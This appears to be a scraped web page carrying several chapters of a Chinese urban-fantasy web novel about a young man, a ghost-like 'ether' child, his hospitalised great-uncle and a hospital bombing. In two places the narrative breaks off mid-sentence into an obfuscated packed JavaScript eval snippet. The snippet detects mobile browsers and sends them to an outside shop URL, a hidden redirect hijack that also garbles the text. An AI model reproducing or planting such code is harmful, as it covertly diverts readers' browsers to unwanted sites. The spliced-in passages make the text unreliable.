那声音几乎就近在他耳边,他正想直接拍门叫人,门就从里面打开了。一个穿着睡衣的人影站在门后的阴影里。 背着月光,王睦友看不见她的脸,但是看身形,那正是裘诺本人。 更何况此时家里就他和裘诺两人在家。 “裘姐!裘姐!鬼……鬼……” 他正想抓着裘诺的胳膊叫她一起跑路,就感觉手里的胳膊有些不对劲。 这个裘诺,到现在都一言不发,而且身体僵硬,手臂更是烫得像被火烧过一样。 王睦友顿时脑袋里只剩下八个字。 福无双至,祸不单行。 这裘老板,除了自称和自己舅爷认识,还收留了自己以外,不是也一身谜团吗? 怎么自己就能确定,她不是和那个没眼睛小鬼一伙的呢? 那个裘诺慢慢向他转过头。黑暗中,他看见在似乎裘诺瞳仁的位置有两点赤红色的东西在燃烧,就像是被烧尽的炭火里的红色,连带着她身边因为暴雨而潮湿的空气都被烤得干燥。甚至隐约间,一颗颗小小的火星在她身边闪烁。 王睦友的鼻子又开始痒了,像是被浓烟熏到了一样,他一把松开了裘诺的胳膊。 餐桌边的小幽灵并没有像之前那样过来,只是远远地看着他们。 “诶?裘诺大姐姐?你也来玩吗?” 他小小地笑了几声,晃晃悠悠地飘了过来。 裘诺沉默地推开僵硬在门口的王睦友,也没管那个小幽灵,径直走去了神龛。王睦友就看见裘诺从牌位旁边拿了一张纸,随手团成一团,就往小幽灵的方向丢了过去。 那纸团并不以抛物线飞行,反而像是一架纸飞机,晃晃悠悠又笔直地就冲着那小幽灵去了。 借着雨夜不甚明亮的月光,王睦友看见那纸团上冒出了一团类似火光一样的东西,然后它突然一下就裂开了,形状像火焰一样的流光从中爆裂开来,像是一条流动的橙红河流,裹挟着白色的,黑色的,像纸屑一样的碎片,在不大的房间里缓缓流淌。 它缠绕在阅阅身上,像一只温顺的大狗,舔舐着他的小脸。 “诶?诶?裘诺大姐姐,是说我该回家了吗?” 裘诺无言地点了点头。 “呃,可是新来的大哥哥好像还玩得不尽兴的样子……” 对着阅阅那两只黑洞洞的眼睛,王睦友内心是拒绝的,但他此时也不敢直说,只能强撑笑容表示自己已经玩够了。 那小鬼好像还有点不放心的样子。但在赤红的流光像一条小毯子那样裹紧了他后,他好像也是感到困了,便打了个哈欠。 “啊……那我就回家了!今天玩得很开心,谢谢大哥哥陪我玩了呢。” 他就也对僵硬的王睦友挥挥手,身影伴着点点火星,在空气中变得稀薄,最后消失。 王睦友这下腿一软,直接坐在在地上。他浑身都是汗,刚才因为紧张还没觉得什么,现在回过神来,反而像是他顶着窗外的暴雨一路闯进了别人家那样。 裘诺走过来,伸手想把他拉起来。 “那个孩子,是怎么回事?真是阅阅?他不是还活着吗?” 裘诺点了点头,并没有说话,只是维持着拉他的姿势,等着王睦友站起来。 王睦友一肚子疑问,在应该已经转危为安的当下,他心里还直打鼓,但他还是迟疑着拉上了裘诺的手——手很干燥,很有力量,指腹的茧过于硬了,但却结实得让人放心。 这完全不像是王睦友想象里年轻的女孩子会有的手。 他被裘诺轻轻松松拉了起来。后者还是一言不发,只是指了指沙发,轻轻推了他一下,好像是让他快去睡觉的样子。 “裘姐,不是,这到底是……” 裘诺定定地看着他。她眼睛里的两点红色盯得王睦友都发憷了,正想着还是别问了老实去睡吧,就听见裘诺说话了。 “去睡吧。明天你们必须去医院,你要找的人就在那里。” 那声音极其古怪,王睦友甚至顾不上对方是怎么知道自己舅爷的行踪的就脱口而出:“裘姐?!你怎么……” 他话没说完,就看见那诡异的“裘诺”拿手在他眼前划了一道,伴随着火星飞溅,他几乎是立刻就昏倒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265378|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,只剩下最后的半句话没能说出口。 你怎么会有男人的声音? 王睦友这一晕,直接晕到了被人晃醒为止。他揉了揉眼睛,只觉得窗外金色的阳光过于晃眼。 太阳已经整个出来了。而小公寓的窗户正大开着通风,夏天早上闷热湿润的空气挤满了小小的房间。 裘诺又套上了她的防晒外套,她使劲晃着王睦友,在看到他迷迷糊糊醒来后才松了一口气。 “你这睡姿也太不老实了。”她站起来,转过身去收拾掉在沙发前的被子,“从沙发上滚下来就算了,你这……”她比划了一下,王睦友这才发现,自己是直接坐在了沙发旁边,膝盖正抵着沙发前木头花纹的茶几。 “你不是会梦游吧?怪不得我昨天晚上梦见有人咣咣咣敲我的门,把我吓得要死,就缩在被子里不出来……” 王睦友一下抓住了她话里的重点。 他问:“裘姐,你不记得昨天晚上发生什么了吗?” “?”裘诺缓缓扣出一个问号,但看见王睦友脸上一副天都塌下来了的表情,她还是谨慎地问道:“怎么了?”她挠挠头,“不是吧,我都锁门了,应该不是我梦游出来把你扔在地上的吧?” “不不不,你真不记得了?” 王睦友也开始挠头,他的疑问太多,一时不知道从哪里入手,犹豫了半天才打算从头梳理起:“昨天那个叫阅阅的小孩,他没事吧?” “他不是一直跟着他的妈妈在一起吗?什么有事没事的?” “我不是这个意思!”王睦友梳理疑问梳理得快狂躁了,“那他为什么昨天会飘在空中?像个幽灵一样?昨天你到底扔了个什么东西出去啊?怎么就会爆开了?你真的是普通人吗?再者你的声音又是怎么回事?还有,为什么舅爷需要住院……” “等等等!你说阅阅变成幽灵了?!” 裘诺好像意识到了什么,一下没忍住,噗嗤一声笑了。 她笑得直拍腿:“我大概知道是怎么一回事了……你先别急,我想想怎么跟你说。” 但裘诺还没来得及给这个小故事整理出一个开头,她终端传来的紧急接通提示音就响了起来。 她一边小声道歉说:“一会我们聊。”一边赶紧接通了电话。随着显示在屏幕上的“此次通话将被记录且具有法律效果”,一个身体是圆柱体,圆滚滚的头顶还画着红色十字架的机器人出现在了立体投影上。它晃着胖乎乎的身体,对裘诺礼貌地打招呼。 【请问,是裘诺,裘小姐吗?】它问。 “对,我是。” “那么请问您是否认识这位先生?” 王睦友看不清小机器人发来的照片,只听见裘诺说:“对,我认识。” 【已确认。】 医疗机器人的小圆眼睛闪了两下,变为了红色。 这是身份信息与资料库内信息比对无误后的反应。 它像是背诵课文一样说道:【我们希望您能作为吉喆先生的家属代理,在今天十二点前来邺京交通综合医院一趟。吉喆先生昨天在K89次列车上晕倒,被送入我院。今天恢复意识,并且经检查并无大碍,可以出院。但是因为年龄原因,我们认为他需要可信的人陪同他一起行动。】 后面它又播放了一些例行公事的,诸如“如果您确认此次行程,请写下是。欢迎您对服务进行打分,您的认可就是我们最大的动力”之类的话,裘诺却好像都没听进去。 她一边签下确认接人的行程单,一边惊奇地看着王睦友。 “哇,小王,可以啊。”她咋舌,“你怎么会知道你舅爷住院的?我都不知道这件事?” “明明是你昨天晚上自己说的!” 7. 与亲人相见 “你们就是吉先生的家属代理和……呃,家属吧?“ 刚刚进医院时浅蓝色的扫描光线还让王睦友眼前有点发晕,他们就被电梯直接送到了住院疗养部所在的七楼。 负责登记的护士小姐调取了吉老爷子的病例,和扫描到的资料进行了最后一次比对,对他们点点头,在手边出现的面板上点了几下,召唤了清洁病房的机器人。 “请跟我来吧。吉先生还在做体检,你们可能需要等一会。” 早上的邺京交通综合医院还没有多少人,尤其是一般作为住院疗养部和备用科室的七楼,走廊里除了在医疗机器人帮助下行动的老年人、努力适应带有黑色皮肤的假肢的复建者,就只有隐约几声从走廊那边传来的小孩的哭叫声了。 看到王睦友转过头往那边看,护士小姐解释道:“最近感冒季,生病的小孩比较多,所以部分儿科的病人被分流到了七楼。那边在打针,声音会大一点,希望你们能理解一下。” “啊?啊没事,没事……”王睦友赶紧摆手,“就是有点……” 后怕。 经过昨天晚上的惊心动魄,他现在是一听到小孩的声音就起一身鸡皮疙瘩。 本来他打算一大早就买站票离开邺京,再发消息知会今天才姗姗来迟的舅爷,就说这边待不下去了,大半夜有小幽灵就算了,连似乎和舅爷相识的饭店老板娘都有男声,甚至还不记事。但没想到,自己的舅爷愣是像昨天晚上男声的裘诺说的那样,直接躺进了医院,还躺了一天多了。 这下于情于理他都不能直接走人,多少都得作为吉先生的侄孙把老爷子接回家,确认老人家没事才能按照计划离开了。 毕竟他是吉老爷子特意想照顾的侄孙。而且老爷子还是为了照顾他的工作才把他叫到了身边。如果都这样了,还让老爷子过得像个空巢老人,只能靠联系热心街坊来医院领人,说出去也未免太凄惨了。 他们被带到了一间病房里,病房里总共有三张病床,靠门近的两张床目前空着,一个圆滚滚的医疗机器人正挡在靠窗的床前为病人做出院前最后的检查。 王睦友看不到床上躺的人,但按常理推测,那床上躺的肯定就是他的舅爷。 正当他回忆舅爷到底长什么样子时,那小机器人便感知到空气的震动,两个作为眼睛的橙色小圆点直接在圆滑的白色后脑上显现,并且发出“检查进度40%”的声音。 “吉先生,您的家属来接您了。” “咳,咳……球球啊,麻烦你这次又来……“ 医疗机器人往旁边让了一步,原来躺在床上,身材矮小的干瘪老头这才好像看到了站在裘诺身边的王睦友,直接鲤鱼打挺一样地坐了起来。 “睦睦!你什么时候来的?”他强撑着想从床上站起来,这让体检机器人的眼睛一下子变红了。它发出“检查进行中!”“检查进行中!”的警告,圆滚滚软绵绵的手把吉老爷子摁回了病床上。 小老头又咳了几下。 “你昨天就到啦?诶呦,作孽啊,我是想起来这茬了,就赶紧改了票,昨天回邺京的。但没想到啊,我在车上突然一下不行了……”他碎碎念着伸出手。 “睦睦,你靠近点让我看看。这么些年不见了,你怎么胖了那么多啊?诶?眼睛怎么还小了?变白了虽然是好事,但你怎么连手指头都没了……” “舅爷,我在这儿……”王睦友在体检机器人身后弱弱举了个手,挤到床前。 “您拉着的那个是跟我们一起进来的保洁机器人……” 吉老爷子看了看手里握着的肥嘟嘟、白乎乎的机器人胳膊,又眯着眼睛看了看站在床边的王睦友。像无事发生一样重新拉起了王睦友的手。 “睦睦啊!那么些年,你都没怎么变啊!” “……上次我们见面那会,我才四岁。” 裘诺看着这有些尴尬的舅爷和侄孙的会面,可能是想留点时间给爷孙单独叙旧,也可能是单纯不想被僵硬的气氛所感染,她悄无声息地就出了病房。护士小姐在查看了一□□检进度后,跟他们说还有大概半个小时体检才结束,就也退了出去。 房间里一时只剩下两个看起来蠢不拉几的圆柱体机器人,和王睦友,还有吉老爷子了。 吉老爷子的全名很喜庆,叫吉喆,今年已经八十来岁了。他瘦得皮包骨头,穿着病号服看着和套了个大麻袋一样。但他的精神很好,肤色黝黑的脸上一对小眼睛倒是神色清明。甚至他还能像裘诺说的那样,到了这年纪还有精力找旅游团出门旅游,想来应该是没什么大的健康问题。 他说:“诶呀,都说四岁看老,我就是说你没长偏,你和你爹长得挺像的。” 王睦友语塞。 他嘟囔道:“诶呀,这都多久的老黄历了,怎么还就扯到我爸身上……” 他实际上和这个舅爷的关系并不亲密。在他的印象里,自己的母亲一直不喜欢吉老爷子,每次提起他,神色间总有一种毫不掩饰的嫌恶。 她会处理掉每一张舅爷寄来的贺年卡,将那些漂亮的红色小卡片撕得稀碎,再丢进垃圾桶。还因为王睦友曾经试图将那些写满了善意文字的碎片从垃圾堆里挑出来拼好,而对自己的儿子大发雷霆。 她是如此厌恶这个老人,却从来没有对王睦友透露过半点原因。 到现在王睦友大学都毕业了,他与舅爷唯二的交集,其实也就仅限于在搬家时,他和擅自来帮忙的舅爷的短暂对话,以及两个月前,吉老爷子发来的那条“要不要来邺京试试?”的消息。 王睦友其实不知道应该和这个不怎么熟悉的亲戚说些什么,但是吉老爷子对他倒是很亲切,好像他们是一直保持着联系的亲祖孙。 “我还记得那天搬家时你的样子呢。你哭得稀里哗啦的,嗓子都喊哑了,就抱着家里的椅子腿嚷嚷着不想搬家,我哄了你半天才好。没想到一转眼都那么大了,时间真快啊。怎么样?身体也还好吧?” “我才二十多岁,那肯定没什么病啊。” “诶呀,话不能这么说。你们年轻人生活习惯不怎么好,熬夜啊,乱吃东西什么的,都容易引发慢性病。这还是要注意的,千万别像我这样,坐个列车睡过去,结果醒来就在医院里了。说起来,这么多年过去了,你妈妈对邺京的心结也算解开了吧?不然也不会放你来……” “其实我是偷跑来的。”王睦友咽了口唾沫,压低声音对着吉老爷子说,“我没告诉我妈我来了邺京,只说我同学叫我一起去创业。” 吉老爷子的脸色一下变了。 “那不行。”他神经质地摸了下自己白白的胡子,手都有点抖,“这不行,你怎么都得和你妈说一声……做人总是得诚实……” 王睦友其实不怎么记得自己四岁那年和舅爷发生了什么,只记得那是短暂又愉快的几个小时,在母亲手头的事情结束前,这位奇怪的爷爷就必须离开,两人绝对不能见面,就好像他是突然钻出来又立刻消失的土地公爷爷一样。 他还记得,在搬家的车上,母亲捏着自己的手握得很紧很紧。 她后怕地说着什么“幸好你没被他带走。”,“太好了,我们终于可以离开这里了。”,“以后千万别回邺京了。” 这样的母亲是万万不可能同意自己来邺京的。同时,他其实也想不明白,两个月前,自己为什么会对这个来自不怎么熟悉的舅爷的建议充满憧憬。 “邺京”这个名字,不知道为什么,对他的吸引力不仅仅是一座高度发达,充满着各种机会的城市会有的那样。有一些他自己也无法说清的感情,或者说因缘在牵扯着他,将他拉上了开往邺京的列车,并且走出邺京的中心车站,在说好 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吉老爷子摸了摸自己秃了的头顶,像是看穿了王睦友的疑虑:“球球……我是说裘诺这孩子有时候是急了点,但绝对是个好孩子。她是我看着长大的,是什么人我清楚。她要是对你怎么了,你别往心里去,她肯定没坏心思……” “不不不,裘姐对我很好。”王睦友生怕吉老爷子误会什么,赶紧否认,“或者说她简直救了我了。昨天要不是她收留我,我可能就得睡大街了。只是……” 他犹豫了一会,眼一闭心一横,想着没准说了舅爷还能解释一二:“我看到了,不是,我还听到了一些不可思议的事情……” 吉老爷子这下像是被烧了尾巴的乌龟,他一下也紧张了起来。 他一下就想到什么了。 “睦睦,好孩子,你听我说。”他像是为了安抚住王睦友那样,拉住了他的手,“你的父亲,他的病逝,并不是像你的母亲对你说的那样,是因为我在诅咒他……” “什么什么什么?” 王睦友一把甩掉了吉老爷子的手,倒退两步,直到小腿肚撞上了另一张病床,差点被绊倒。 “诅咒?!我妈没对我说过这个啊?”他目瞪口呆,“我爸怎么了?他不是病逝?!还您的诅咒?!” 吉老爷子这才意识到自己会错了王睦友的意思,而且还说秃噜出了什么了不得的事,他赶紧挥手试图让王睦友安静下来。 “睦睦,你先冷静点……” “什么诅咒?我妈认为我爸是被您咒了才病逝的?!您没说胡话吧?!” 王睦友情绪激动,根本无法平静下来听人说话,他大口大口地喘气:“这都是怎么一回事?您倒是给我说清楚!” “诶,诶,睦睦,这里不是地儿……你先冷静……” 吉老爷子急得满头汗。他正伸手进病号服的衣兜里,好像想摸出什么东西,另一边的体检机器人就突兀发出了一声尖锐的“体检进度100%!”提示音,这惊醒了王睦友,他这才如梦初醒,迅速平静下来。 他听见吉老爷子放低了声音,几乎是在乞求。 “睦睦,你至少听我把事情的渊源说完,再决定要不要离开邺京,好吧?” 老人家说着就想站起来,王睦友犹豫了一下,还是去扶了他一把。 另一边,他听到了走廊上的脚步声,是护士小姐准备带吉老爷子去换衣服办出院手续,现在的情况已经不适合他们继续在病院里面争执了。 他叹了口气。 “对不起,舅爷,我太急了。我其实,对您说的事情,完全没有概念。我妈也没有跟我提及任何相关的事情……我们,等您出院回家再说吧。我答应,至少,我会等到那个时候,再决定是走还是留的。” 8. 在探望病人时 邺京交通综合医院,是一座具有空心圆柱结构的神奇建筑。 可能是出于实用角度的考量,设计师在圆柱体被掏空的核心里插入了几部电梯,力求让从电梯上下来的病人、家属或者医生护士可以在同样的时间里到达楼层的各处。而在没有电梯通行时,拦在电梯外的透明材料则会大开,变为从楼层地板和天花板延伸出去的地面和顶棚,将空间竖向分割和楼层融为一体。这样各个楼层的人们也可以以最短的直线距离穿越楼层——当然,这样的设计可以实现,就又要归功于以太材料所能提供的物理性质了。 但这些静心设计而出的便利,反而是现在的王睦友最不需要的。 他刻意沿着圆圈的最外围绕了一圈,才慢腾腾地去往七楼住院疗养部办理退院手续的柜台,满心想着能少和舅爷处一秒是一秒。 虽然答应了要等到舅爷的解释再决定走或者不走,但从昨夜一直到刚才,这诡异的一系列事件还是不间断挑战着他的神经极限。 更何况这似乎还牵涉到了自己以为是自然病逝的父亲,而且牵涉的理由还是什么一听就很玄乎的“诅咒”。 他在离柜台不远的地方停下了脚步。趁着吉老爷子还没来,他放空了大脑,放任自己困惑于在这个人类已经可以科学去解释玄学时,仍然出现在舅爷口中的神秘词汇。 这都什么毛病啊! 不过他并没有得到可以安静思考的时间。 因为正在柜台边和人聊天的裘诺看到了他。和她聊天的人王睦友也认识,就是昨天有一面之缘的周姐。 她手里还牵着他昨天的噩梦之源。噩梦之源本来正低头不知道干着什么,可正当王睦友想无声无息地离开时,小孩一抬头正好就看见了他,激动地叫起来:“呀!昨天的大哥哥!” 这不就巧了吗。 王睦友刚想装没看见,掉头反方向再走一圈,裘诺的声音就响了起来。 “诶!小王!”她对周姐点了点头,后者犹豫了一下,松开了拉着阅阅的手,让裘诺拉着阅阅来找他。但她好像还是不放心,就也快步向他走了过来。 王睦友下意识往后退了一下,背直接抵上了半透明的墙面,要不是背后强力的承托感,他简直感觉自己是被逼到了悬崖上,只能站在原地看着裘诺拉着小孩越来越近。 “阅阅刚刚还说起你呢!来,阅阅,正好你小王哥哥在这里……那个东西,你也不需要我帮你转交了吧?” 她把阅阅往他们之间推了推。小男孩一看到王睦友,就露出了几乎是在发光一样的笑脸。他的精神状态此时相当正常,脸上也没有再被奇怪的黑纹覆盖,正常得和街上随便一个小孩子别无二致。 他伸出右手,手上拿着一条皱皱巴巴的,用蜡笔涂成红色的丑不拉几的长纸团(仔细看看上面还画了几个黄色的斑点),硬是想塞到王睦友的手里。 “昨天的大哥哥!”他兴奋地叫,但是随即流露出一丝扭捏的神情,似乎对这糟糕的手工制品感到不好意思。 “送给你!这是昨天晚上你变出来的小红龙……虽然有些不像,但是我还是要和你说对不起!妈妈说昨天晚上可能吓到你了……还有还有,谢谢你陪我玩!” 他可能是太紧张了,话说得是乱七八糟的,手上红色的纸条更是和龙这种生物没有任何关联。但是王睦友还是意识到,阅阅似乎像在说一件对他而言很重要的事情,以至于他推测如果他不收下纸条,会对小孩是一个很大的打击。 要是再一打击,这个小以太人发疯了,这可咋办? 于是他连忙在裤子上蹭掉了手心的汗,颤颤巍巍地接过了搓得乱七八糟的长条纸团。 阅阅这下高兴了,他对王睦友挥了挥手,说道:“那我们还是好朋友的吧?我们还可以一起玩的,对吧!” 王睦友看着这欢欣雀跃的小孩,一时也没法把他和昨天晚上脸上只有两个黑洞的小鬼联系起来了,因为紧张害怕而坚硬的心一下就软了一半,但也是满脑袋的问号。 “什么对不起?什么谢谢?我怎么都没听懂?” 小男孩也对他的问话困惑了,他伸出手,王睦友便又听到了木片互相摩擦的声音。他突然有了一种很强烈的预感,好像他即将再次目睹昨天晚上把他吓得魂飞魄散的场景。 但这预感还是没能成真,因为刚才一直跟在裘诺身边一言不发的周姐已经一把抓住了自家儿子白胖的小手。 摩擦声停止了。 “那个,王先生。”她踌躇着开了口。她看起来对王睦友抱有十足的歉意,完全没有了昨天晚上的警戒态度:“阅阅……如你所见,他是一个体质特殊的孩子。” 王睦友点点头,昨天他从裘诺口中已经听说过了。 “其实上周他就该来打针了。对,他的体质需要控制。但是一方面我工作忙,吉老爷子也不在,另一方面这两天好像儿科也人手不足……就拖到了今天,阅阅的身体就有点异常了。” 她把长卷发往耳后一别,目光下意识去寻找阅阅,换了只手来拉住他的小手。 “他,有些控制不住体表的黑色纹路了。然后,应该就是,阅阅会变成昨天晚上让您没睡好的,那个所谓的幽灵了。” 她没等王睦友把写在脸上的困惑表达出来,就继续说道:“您应该听说过吧,以太生物的意识和他们的异变程度直接相连这一说法。” “啊,这个的确是常识。”王睦友附和了一句。 “对自己是人类的认知越稀薄,会导致以太化的程度越高。”他顿了一下,“所以说,像阅阅这种过早以太化了的小孩子才需要定期打针,好让他们的精神稳定嘛。这个我们学校里都有宣传过。” “对,是这样。但是不知道你听没听说过,一些情况严重的以太人类是会有特殊的一些能力这件事。” “呃,这,其实,大概也许应该,听说过……”王睦友盯着阅阅的脸,一时竟不知道该怎么安慰他,“说实话,没见过。” 但出乎他的意料,阅阅似乎根本不对这点“特殊能力”感到困扰。 他兴奋地晃着被他的妈妈拉着的手,仰头看她:“什么嘛!大哥哥居然没见过!妈妈!我能给大哥哥看看吗?就是那个!那个那个!” 然后他便在自己妈妈的默许下,再次抬起了左胳膊。 这次是干脆的、啪的一声,王睦友听见了火焰被点燃的声音。 邺京的夏天是闷热的,阅阅便自然而然地穿着短袖。那裸露在袖子外面、藕节一样的小胳膊就在王睦友的注视下变得越来越淡,最后他的的小臂变得半透明,就像昨天晚上王睦友见到的幽灵。 而小孩原本浅棕色的眼睛中心也越来越黑,以至于在他停止变化时,他的眼睛已经变成了一个黑洞洞的洞口。 他在王睦友倒吸一口凉气,试着去摸他的胳膊,却什么都没碰到时笑出了声。眼睛一眯一睁间,黑洞洞就又变回了原本圆溜溜的明亮双眼,小臂也就随之变成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265380|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实体。 “我的孩子,他,好像就是可以让身体虚化,会变得像小幽灵一样。”周姐轻轻敲了一下阅阅的头,语气严厉,“周阅!你有好好跟大哥哥道歉吗?要不是刚刚听裘老板说了,我都不知道原来你把人家给吓成那样!” 王睦友一边心说“那样是哪样啊”,一边赶紧挥手,表示自己没事。 他下意识看向在旁边没再说话的裘诺,得到了一个写满“我什么都没说啊?”的无辜笑脸。 “啊,没关系,没关系!这,我不是收到礼物了嘛!真的没关系的,体内药量太少导致没法控制体质这种事情,好像好多人都遇到过,我完全理解。” 当然,主要是他看到被妈妈敲了头的阅阅一瘪嘴又要哭了的样子。 毕竟是小孩子嘛,他自我安慰,而且好像有在反省了。 况且只是以太人类控制不了体质而已,好歹比真的撞见鬼强。 王睦友这种宽宏大量的态度让周姐松了一口气。她作为阅阅的妈妈正式地向王睦友道了歉。 她低下头,语气诚恳:“我也很感谢你,王先生。阅阅平时没什么朋友。你虽然肯定不是自愿的,但是你仍然愿意陪着他闹……这让我十分感激。” 王睦友刚想礼节性回一句“应该的”,阅阅就生气地甩掉了妈妈的手。他双手抱着王睦友的大腿:“我才没逼着大哥哥呢!他明明是自愿的!” 他抬起头仰望着王睦友:“对吧?大哥哥自己说我们来捉迷藏的?还让我来当鬼!” 王睦友心情复杂,心说我的意思是说你是鬼,不是让你当鬼。但对着小孩亮亮的浅棕色眼珠,再看到那里面的那一个小小的,替代了瞳孔的黑色空心圆环,他还是叹了口气,带着像上刑场一样的心情一拍胸脯。 “对,”他语气悲壮,“我玩得挺开心的。” 这下周姐都愣了,一脸难以置信。她旁边的裘诺终于还是没憋住,“噗嗤”一声乐了出来。 她笑得肚子痛,一手扶着肚子一手拍拍王睦友:“你看吧!我就说我们街道上没什么坏人,也没什么坏东西,你这下放心了吧?” 王睦友机械地点了点头,正想着既然这个幽灵只是控制不住以太化的小孩子,那我遇到的事情里现在就属你最邪门,裘诺就自顾自地说道:“说起来啊,吉老爷子那边好慢啊。都说好我们一起蹭周姐的车回去的,怎么现在人还没出来,就让我们在这里等着。不就是换个衣服,填个表的事嘛,有那么……” 她话还没说完,王睦友就感觉耳边又响起了一声点火的声音。 随着这轻微的“啪嚓”一声,从走廊另一边,他们脚下、头顶,一起发出的爆炸的巨响瞬间打断了裘诺还未来得及吐出的话语。 一片一片的建材从他们头顶随着爆炸声簌簌落下,像被剥落的发白皮肤。一时间医院里惨叫、惊叫响成一团,阅阅还没反应回来怎么回事,就被周姐一把拉回了身边。 王睦友正想抓住路过的服务机器人问问情况,就又是感到脚下一震,随即第二次,更响、更强烈的爆炸声伴随着建筑结构的崩塌再次袭来。 和爆炸声一同响起的,还有在医院广播里播放的机械语音。 【请各位不要惊慌!请各位不要惊慌!请在服务机器人的指挥下,有序等待安全出口的分组!时间充裕,请优先保护好身边的老人小孩!再次重复……】 【医院内部检查出炸弹存在!请各位不要惊慌!请各位不要惊慌!】 9. 当家人来探望 【东港,已爆炸。 顺王府,已拆除。 燕红山,已锁定,预计明日早晨以太供给将被切断,陷入休眠状态。 邺京交通综合医院,】 光标在这里停住了,在关着灯的房间里一跳一跳得散发着莹莹的绿光,照在打字的年轻男性脸上。 那是个身材消瘦,面色略显憔悴的年轻男性。他穿着睡衣,一脑袋黑发翘得蓬蓬松松,整个人好像刚从床上被拉起来加班的倒霉社畜。 现在是凌晨一点,警笛声刚刚从窗外的大街上呼啸而过。 这是东港爆炸案发生后的两个小时。 邺京市的警察今晚一定忙得要死。且不论对犯人的抓捕和问询,安抚群众、记录案情等流程类的工作他们也是一项都不能落下。即便是一个人当两人用,估计人手也是紧紧巴巴。 但从数据库里记载信息的更新速度来看,这群辛苦的警察把工作完成得挺不错。 只可惜…… 年轻人疲惫地往椅背上一靠,在自己终端上敲了一下。几道稀稀拉拉的银蓝色便从他眼前划过,随后界面上的一切瞬间被红色替代。 【警报!警报!】 【数据库入侵警报!】 【资料覆写中……】 那些红色的光一下就断了,房间里变得一片漆黑。只有从没拉严的窗外渗进的几缕灯火阴惨惨地映在年轻人的镜片上,反射出一阵青白色。 他却不以为意,只是喝着杯子里凉透的茶,又在空气中敲了最后一下。 【已授权】 伴随着机械音的响起,银蓝色的光再次从终端上浮现,慢慢盈满了房间。直到那一片空白的界面上浮现出【文件覆写完成】的字样,他才放下茶杯,慢慢地伸了个懒腰。 “真麻烦……”他自言自语,摸上了眼前的终端屏幕,似是无意地敲着页面右上角邺京市警察局的徽章,看着它在自己的触碰下再次慢慢变红。 “大晚上的……”他说着,在警报响起前松开了手,“上司可是真不会为下属体谅啊。” 一切都恢复如初。 季井仪把在终端屏幕上标记用的笔一扔,颇为不耐地放松起了腕关节。她刚刚结束了一项颇为繁琐的工作:测绘邺京交通综合医院在与昨天收缴的炸弹所能造成的各种级别的爆炸下,分别可能受到的损害。 她原本预期计算下一场爆炸案会发生的地点这项工作会交给自己,却在刚坐下准备开工时,就收到了一份极为完整的报告,并且说明了在以太研讨会的授权下被安置在顺王府和燕红山的炸弹的拔除过程。那么最后留下的,供剩下那个尚且逍遥法外的犯罪者选择的,同时也是警方抓捕他的地点,就只有邺京交通综合医院了。 她所做的,就是行动前无数的准备工作中的一项。但更深层的原因是…… 她啧了一声。 以太研讨会拒绝清除邺京交通医院里可能被安置的炸弹。 即便他们可以,但仍然以不明原因拒绝了。她想,这可真奇怪。 随着那支被丢出的笔化作了银蓝色的粒子,季井仪最后一次打开了那份标注着"邺京公安局数据部门"的报告,手指与目光在需要以太研讨会授权的页面上停留了一会儿,同时用另一只手去够自己的咖啡杯,想喝口里面已经冷透了的咖啡,却摸了个空。 她心里一惊,一转头,就对上了咖啡杯里蒸腾的醇香热气。 “三小姐,请用。”为她端来咖啡的,本不应该出现在警局里的人对她毕恭毕敬地鞠了一躬。 季井仪皱着眉看对方。 “商管侍。”她没好气地问,“你怎么进来的?” 她话里话外满是逐客令的意味,可是这位为季家服务了接近一个世纪的年轻男人却只是垂着眼睛,做出一副恭顺的样子站在原地,挂在袖口上的季家家徽在警局冷色灯光下闪着过于耀眼的光。 “我是替季左先生来商谈一些事情的。”他带着职业的微笑,语气平静地说,“同时他还有些担心您,希望我来查看一下您的情况。” 季井仪盯了他一会儿,见他毫无反应,才悻悻地开口说:“前面那句才是重点吧,后面那句只是托辞。” 她语带嘲讽:“当时他答应我,允许我去到公安部门工作,其实就只是为了前面的那个目的不是吗?为了更多的‘联系’,这就是存在于所有机构里弹性的规则。” 被称为商管侍的男人没再说话,只是微笑着看着她。 季井仪轻哼一声,端起杯子喝了一口,她平日里最喜欢的咖啡香型此时却完全让她倒胃口。 就像所有成规模的家族那样,季家也需要自己的代行者,替一些不好抛头露面的人做一些他们希望的事情。可不同于季井仪所知的其他家系,季家的代言人从第四次极夜事件以来,一直都是这位看似年轻的商管侍。 这是一个甚至可以不用老去的以太人类。 “况且你是怎么进入我的办公空间的?”她又问,“我没记错的话,我没有把进入屏蔽的权限开放给你。” 商管侍的眼皮子终于动了一下。他抬起眼睛看着季井仪,橙红色的虹膜上有一个边界明显的黑色圆圈。 “这不是什么大事。”他不卑不亢地回答,“三小姐,您是知道的为什么的,不是吗?” 随着上个世纪起开始的以太学研究,科技革新已经是不可避的未来。 所谓的个人空间,在这样的背景下已不再像过去那样是奢侈品了。现在几乎所有人都可以自由地拥有随身携带的私人空间,他们所要做的就是用意识启动终端界面,在其中选用"屏蔽"模式,便可在指定场所、在处于静止状态下,将自己的存在从他人眼中抹去,再在可视范围里建立起一堵磨砂的墙,给使用者封闭的安全感。 这一切的代价只是接受一针特殊的药剂,将被同时身兼私人电脑与身份认证的"终端"植入身体,就可以随意使用一系列强大到令五十年前的人匪夷所思的功能。 即便这种需要对各类公共机构都有极高信任度才会做出的决定并不是个可选项,而是个必选项。 